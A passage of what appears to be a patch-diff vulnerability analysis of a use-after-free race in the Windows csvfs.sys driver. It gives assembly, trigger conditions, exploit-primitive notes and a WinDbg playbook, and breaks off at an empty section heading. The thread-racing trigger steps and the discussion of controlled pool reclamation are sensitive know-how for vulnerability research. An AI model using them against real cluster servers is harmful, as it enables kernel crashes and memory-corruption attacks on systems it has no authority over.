&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAE3:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;EncryptionManager&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; read under lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAEA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAED:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1C00BCB67&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAEF:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; safe deref under lock&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAF2:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0xe8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; re-read context+0xe8 from memory&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCAFA:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCB08:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memcmp&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; sub_1C00189C0&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1C00BCB67:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;ReleaseShared@RWLock@@QEAAXXZ&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;lt;&amp;lt;&amp;lt;&amp;lt; SigningLock shared release (sub_1C0018850)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4.3 Key takeaways from the assembly&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The unprotected read is a single &lt;code&gt;mov rdx, cs:EncryptionManager&lt;/code&gt; with no preceding &lt;code&gt;KeEnterCriticalRegion&lt;/code&gt; and no preceding &lt;code&gt;ExAcquireResource*&lt;/code&gt; / &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; call.&lt;/li&gt;
&lt;li&gt;The exclusive-write path does correctly serialize against itself (it takes both critical region and exclusive resource) — but the missing shared-lock on the read makes the entire exclusive critical region useless for protecting against the racing reader.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;ReplayCacheManagerObject&lt;/code&gt; read shows the correct pattern already in place: &lt;code&gt;KeEnterCriticalRegion → ExAcquireResourceSharedLite → read → ExReleaseResourceLite → KeLeaveCriticalRegion&lt;/code&gt;. The patch replicates this (via the &lt;code&gt;RWLock&lt;/code&gt; wrapper) for the &lt;code&gt;EncryptionManager&lt;/code&gt; read.&lt;/li&gt;
&lt;li&gt;Address/symbol reuse across builds: &lt;code&gt;0x1C0018818&lt;/code&gt; = &lt;code&gt;RWLock::AcquireShared&lt;/code&gt; (patched) vs &lt;code&gt;__GSHandlerCheck&lt;/code&gt; (unpatched); &lt;code&gt;sub_1C0018950&lt;/code&gt; (unpatched) / &lt;code&gt;sub_1C00189C0&lt;/code&gt; (patched) = &lt;code&gt;memcmp&lt;/code&gt;; &lt;code&gt;sub_1C0058100&lt;/code&gt; = &lt;code&gt;Encryption::&lt;/code&gt;scalar deleting destructor&lt;code&gt;` (&lt;/code&gt;??_GEncryption`).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Target environment.&lt;/strong&gt; The victim machine must have the Cluster Shared Volume File System driver loaded — i.e., a node of a Windows Server Failover Cluster with at least one CSV enabled. Verify with &lt;code&gt;fltmc filters&lt;/code&gt; (look for &lt;code&gt;csvfs&lt;/code&gt;) or &lt;code&gt;sc query csvfs&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Volume handle.&lt;/strong&gt; Open a handle reaching the CSV set-security-info path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Message routing.&lt;/strong&gt; Drive a set-security-info operation that routes through &lt;code&gt;CsvFsHandleMessage&lt;/code&gt; (&lt;code&gt;sub_1C0005F50&lt;/code&gt;) → &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C0046974&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input validation.&lt;/strong&gt; &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; (&lt;code&gt;sub_1C0046974&lt;/code&gt;) validates the input before calling &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trigger flag.&lt;/strong&gt; The context field at &lt;code&gt;+0xe8&lt;/code&gt; (encryption input length) must be &lt;code&gt;&amp;gt; 0&lt;/code&gt; — supply a non-empty encryption input so the &lt;code&gt;EncryptionManager&lt;/code&gt; path is taken.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Racing threads.&lt;/strong&gt; Fire at least two concurrent operations from separate threads targeting the &lt;em&gt;same&lt;/em&gt; CSV volume. Ideally many threads (8–32) to amplify the probability of hitting the narrow race window.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Race window.&lt;/strong&gt; Thread A executes &lt;code&gt;0x1C00BCADD&lt;/code&gt; (read pointer) → &lt;code&gt;0x1C00BCAEC&lt;/code&gt; (deref +0x20) → &lt;code&gt;0x1C00BCAF3&lt;/code&gt; (deref +0x18) → &lt;code&gt;0x1C00BCB01&lt;/code&gt; (&lt;code&gt;call memcmp&lt;/code&gt;). Thread B must enter the exclusive-write path (&lt;code&gt;0x1C00BCBD0&lt;/code&gt; → &lt;code&gt;0x1C00BCC00&lt;/code&gt;) and free the object Thread A read.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Widen the window.&lt;/strong&gt; Pin threads to specific CPUs via &lt;code&gt;SetThreadAffinityMask&lt;/code&gt;, lower priority on the racing thread, or use &lt;code&gt;NtYieldExecution&lt;/code&gt; to encourage preemption. Stagger the threads so Thread B reaches the free path while Thread A is between the read and the first deref.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm.&lt;/strong&gt; If no pool reclamation occurs: BSOD &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA (0x50)&lt;/code&gt; or an invalid pool read, faulting address inside a freed PagedPool block, caller &lt;code&gt;csvfs!CsvCamSetSecurityInfo+0x40&lt;/code&gt;. With Driver Verifier Special Pool enabled: bug check &lt;code&gt;DRIVER_VERIFIER_DETECTED_VIOLATION&lt;/code&gt; or &lt;code&gt;SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION&lt;/code&gt;, with parameter 1 = the freed pool address. If the freed slot is reclaimed with controlled data, the reader instead dereferences an attacker-influenced &lt;code&gt;+0x18&lt;/code&gt; pointer and &lt;code&gt;+0x20&lt;/code&gt; size inside &lt;code&gt;memcmp&lt;/code&gt;; note the &lt;code&gt;memcmp&lt;/code&gt; result is consumed only as a match/no-match boolean (it sets &lt;code&gt;r14&lt;/code&gt;), so it is not a data-return channel.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Primitive.&lt;/strong&gt; The bug is a narrow-window UAF on a 0x28-byte PagedPool allocation tagged &lt;code&gt;'CVCA'&lt;/code&gt; (&lt;code&gt;0x41435643&lt;/code&gt;) holding an &lt;code&gt;Encryption&lt;/code&gt; object. After a concurrent thread frees the object at &lt;code&gt;0x1C00BCC00&lt;/code&gt;, the racing reader dereferences the freed object's stored-size (&lt;code&gt;+0x20&lt;/code&gt;) and stored-buffer pointer (&lt;code&gt;+0x18&lt;/code&gt;) at &lt;code&gt;0x1C00BCAEC&lt;/code&gt; / &lt;code&gt;0x1C00BCAF3&lt;/code&gt; and passes them to &lt;code&gt;memcmp&lt;/code&gt; at &lt;code&gt;0x1C00BCB01&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Demonstrable impact:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Denial of service (kernel crash).&lt;/strong&gt; If the freed 0x28 block is unmapped or poisoned (e.g., Driver Verifier Special Pool), the dereference at &lt;code&gt;0x1C00BCAEC&lt;/code&gt; faults, bugchecking the machine. This is the directly reproducible outcome.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-influenced dereference.&lt;/strong&gt; If the freed slot is reclaimed with controlled data before the dereference, the &lt;code&gt;+0x18&lt;/code&gt; pointer and &lt;code&gt;+0x20&lt;/code&gt; size read from the reclaimed object are attacker-influenced. The size (&lt;code&gt;+0x20&lt;/code&gt;) becomes the &lt;code&gt;memcmp&lt;/code&gt; length and the pointer (&lt;code&gt;+0x18&lt;/code&gt;) becomes the &lt;code&gt;memcmp&lt;/code&gt; source, so &lt;code&gt;memcmp&lt;/code&gt; reads &lt;code&gt;size&lt;/code&gt; bytes from an attacker-influenced address — an out-of-bounds read against kernel memory. The &lt;code&gt;memcmp&lt;/code&gt; result is consumed only as a match/no-match boolean that decides whether the manager is rebuilt (&lt;code&gt;r14&lt;/code&gt;); it is not returned to the caller, so this is not by itself an information-disclosure channel.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Constraints on weaponization (not demonstrated here):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Winning the race requires two concurrent invocations reaching the &lt;code&gt;EncryptionManager&lt;/code&gt; path (&lt;code&gt;*(context+0xe8) &amp;gt; 0&lt;/code&gt;) on the same globals, with one freeing the object during the other's read window (&lt;code&gt;0x1C00BCADD&lt;/code&gt; → &lt;code&gt;0x1C00BCB01&lt;/code&gt;). The operation runs at &lt;code&gt;PASSIVE_LEVEL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Turning the attacker-influenced dereference into anything beyond a crash requires reclaiming the freed 0x28 PagedPool slot with controlled contents, which is not established against these binaries and is out of scope for this report.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;Below is the playbook for an analyst with &lt;code&gt;kd&lt;/code&gt;/&lt;code&gt;WinDbg&lt;/code&gt; attached to the &lt;strong&gt;unpatched&lt;/strong&gt; driver, building a PoC for the UAF in &lt;code&gt;CsvCamSetSecurityInfo&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;7.1 Symbols / module setup&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;load&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mex&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;optional&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;helpful&lt;/span&gt;
&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csvfs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;=............&lt;/span&gt;
&lt;span class="n"&gt;lm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csvfs&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;confirm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;
&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csvfs&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;CsvCamSetSecurityInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;L40&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sanity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Replace &lt;code&gt;............&lt;/code&gt; with the loaded base — typically obtainable from &lt;code&gt;lm csvfs&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;7.2 Breakpoints&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!CsvCamSetSecurityInfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Function entry. &lt;code&gt;rcx&lt;/code&gt; = arg1 = security context. Check &lt;code&gt;[rcx+0xe8]&lt;/code&gt; (input length).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!CsvCamSetSecurityInfo+0x31&lt;/code&gt; (&lt;code&gt;0x1C00BCADD&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Unlocked read of &lt;code&gt;EncryptionManager&lt;/code&gt;. &lt;code&gt;rdx&lt;/code&gt; will hold the &lt;code&gt;Encryption&lt;/code&gt; object pointer — the dangling-pointer-in-waiting.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!CsvCamSetSecurityInfo+0x40&lt;/code&gt; (&lt;code&gt;0x1C00BCAEC&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Vulnerable dereference &lt;code&gt;mov ecx, [rdx+0x20]&lt;/code&gt; (stored size). If the pool has been reclaimed, &lt;code&gt;ecx&lt;/code&gt; contains attacker-controlled or stale data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!CsvCamSetSecurityInfo+0x47&lt;/code&gt; (&lt;code&gt;0x1C00BCAF3&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Second vulnerable dereference &lt;code&gt;mov rdx, [rdx+0x18]&lt;/code&gt; (stored buffer).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!CsvCamSetSecurityInfo+0x154&lt;/code&gt; (&lt;code&gt;0x1C00BCC00&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The free: &lt;code&gt;call ??_GEncryption&lt;/code&gt;. &lt;code&gt;rcx&lt;/code&gt; = object being freed. Compare against the &lt;code&gt;rdx&lt;/code&gt; value captured at BP #2 on the racing thread.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;bp csvfs!__GEncryption&lt;/code&gt; (&lt;code&gt;sub_1C0058100&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;Encryption&lt;/code&gt; scalar deleting destructor (&lt;code&gt;ReleaseAll&lt;/code&gt; then &lt;code&gt;ExFreePoolWithTag&lt;/code&gt;). Confirms the pool address freed.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A conditional break to skip the boring path:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;bp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;csvfs&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt;&lt;span class="n"&gt;CsvCamSetSecurityInfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;&amp;quot;.if (poi(@rcx+0xe8) == 0) { gc } .else { .echo ENTERING VULNERABLE PATH; kn; }&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;7.3 What to inspect at each breakpoint&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;BP&lt;/th&gt;
&lt;th&gt;Register / Expression&lt;/th&gt;
&lt;th&gt;Meaning&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;#1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;, &lt;code&gt;[rcx+0xe8]&lt;/code&gt;, &lt;code&gt;[rcx+0xe0]&lt;/code&gt;, &lt;code&gt;[rcx+0xe4]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Security context, input length, volume IDs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rdx&lt;/code&gt;, &lt;code&gt;!pool rdx 2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The &lt;code&gt;EncryptionManager&lt;/code&gt; pointer just read unlocked. Tag should be &lt;code&gt;CVCA&lt;/code&gt;, size &lt;code&gt;0x28&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ecx&lt;/code&gt; after &lt;code&gt;mov&lt;/code&gt;, &lt;code&gt;!pte rdx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The stored size read from the potentially freed object.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rcx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The pointer being freed. &lt;strong&gt;If this equals the &lt;code&gt;rdx&lt;/code&gt; from BP #2 on another thread → UAF confirmed.&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global watch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EncryptionManager&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The Encryption global pointer itself. Break whenever any thread reads/writes it.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Useful pool inspection commands:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;poolfind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x41435643&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;enumerate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;live&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;CVCA&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocations&lt;/span&gt;
&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;faulting_addr&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;faulting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;7.4 Key instruction offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCAC4&lt;/code&gt; — &lt;code&gt;mov eax, [rcx+0xe8]&lt;/code&gt; — caches the input length in &lt;code&gt;eax&lt;/code&gt;. (Patch removes this caching.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCAD5&lt;/code&gt; — &lt;code&gt;test eax, eax&lt;/code&gt; — signed &lt;code&gt;!= 0&lt;/code&gt; predicate. (Patch: &lt;code&gt;cmp [rcx+0xe8], ebp; jbe&lt;/code&gt; — unsigned &lt;code&gt;&amp;gt; 0&lt;/code&gt;.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCADD&lt;/code&gt; — &lt;code&gt;mov rdx, cs:EncryptionManager&lt;/code&gt; — &lt;strong&gt;UNLOCKED&lt;/strong&gt; global read. (Patch inserts &lt;code&gt;call ?AcquireShared@RWLock&lt;/code&gt; at &lt;code&gt;0x1C00BCADE&lt;/code&gt; just before.)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCAEC&lt;/code&gt; — &lt;code&gt;mov ecx, [rdx+0x20]&lt;/code&gt; — &lt;strong&gt;UAF sink #1&lt;/strong&gt; (stored size).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCAF3&lt;/code&gt; — &lt;code&gt;mov rdx, [rdx+0x18]&lt;/code&gt; — &lt;strong&gt;UAF sink #2&lt;/strong&gt; (stored buffer).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCB01&lt;/code&gt; — &lt;code&gt;call memcmp&lt;/code&gt; (&lt;code&gt;sub_1C0018950&lt;/code&gt;) — consumes the leaked/reclaimed data.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCC00&lt;/code&gt; — &lt;code&gt;call ??_GEncryption&lt;/code&gt; (&lt;code&gt;sub_1C0058100&lt;/code&gt;) — Encryption scalar deleting destructor / &lt;code&gt;ExFreePoolWithTag&lt;/code&gt; of the old object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C00BCC0C&lt;/code&gt; — &lt;code&gt;mov cs:EncryptionManager, rdi&lt;/code&gt; — replaces global after free.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.5 Trigger setup (from user mode)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Ensure CSV is enabled and &lt;code&gt;csvfs&lt;/code&gt; is loaded: &lt;code&gt;fltmc filters&lt;/code&gt; from an elevated cmd.&lt;/li&gt;
&lt;li&gt;Open a handle reaching the CSV set-security-info path.&lt;/li&gt;
&lt;li&gt;Drive a set-security-info operation that routes to &lt;code&gt;CsvFsHandleSetSecurityInfo&lt;/code&gt; via &lt;code&gt;CsvFsHandleMessage&lt;/code&gt; (&lt;code&gt;sub_1C0005F50&lt;/code&gt;) with a non-empty encryption input so the context field &lt;code&gt;+0xe8&lt;/code&gt; is &lt;code&gt;&amp;gt; 0&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Race: spawn 16–32 threads all issuing the same operation against the same volume, at high rate. Optionally throttle the racing thread with &lt;code&gt;SetThreadAffinityMask&lt;/code&gt; to a different logical processor.&lt;/li&gt;
&lt;li&gt;Observe: the BSOD or, with controlled reclamation, the controlled &lt;code&gt;+0x18&lt;/code&gt;/&lt;code&gt;+0x20&lt;/code&gt; data feeding &lt;code&gt;memcmp&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;7.6 Expected observations&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Crash without reclamation:&lt;/strong&gt; Bug check &lt;code&gt;0x50 PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt;. &lt;code&gt;Parameter 2&lt;/code&gt; = freed PagedPool address. Call stack ends in &lt;code&gt;csvfs!CsvCamSetSecurityInfo+0x40&lt;/code&gt; (&lt;code&gt;0x1C00BCAEC&lt;/code&gt;) reading &lt;code&gt;[rdx+0x20]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crash with Special Pool:&lt;/strong&gt; Bug check &lt;code&gt;0xC4 DRIVER_VERIFIER_DETECTED_VIOLATION&lt;/code&gt; (code &lt;code&gt;0x20&lt;/code&gt; use-after-free) or &lt;code&gt;0xCC SPECIAL_POOL_DETECTED_MEMORY_CORRUPTION&lt;/code&gt;. Parameter 1 = pool address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No crash (controlled reuse):&lt;/strong&gt; &lt;code&gt;memcmp&lt;/code&gt; runs against attacker-supplied &lt;code&gt;+0x18&lt;/code&gt; / &lt;code&gt;+0x20&lt;/code&gt; — an attacker-directed kernel read.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7.7 Struct / offset notes&lt;/h3&gt;
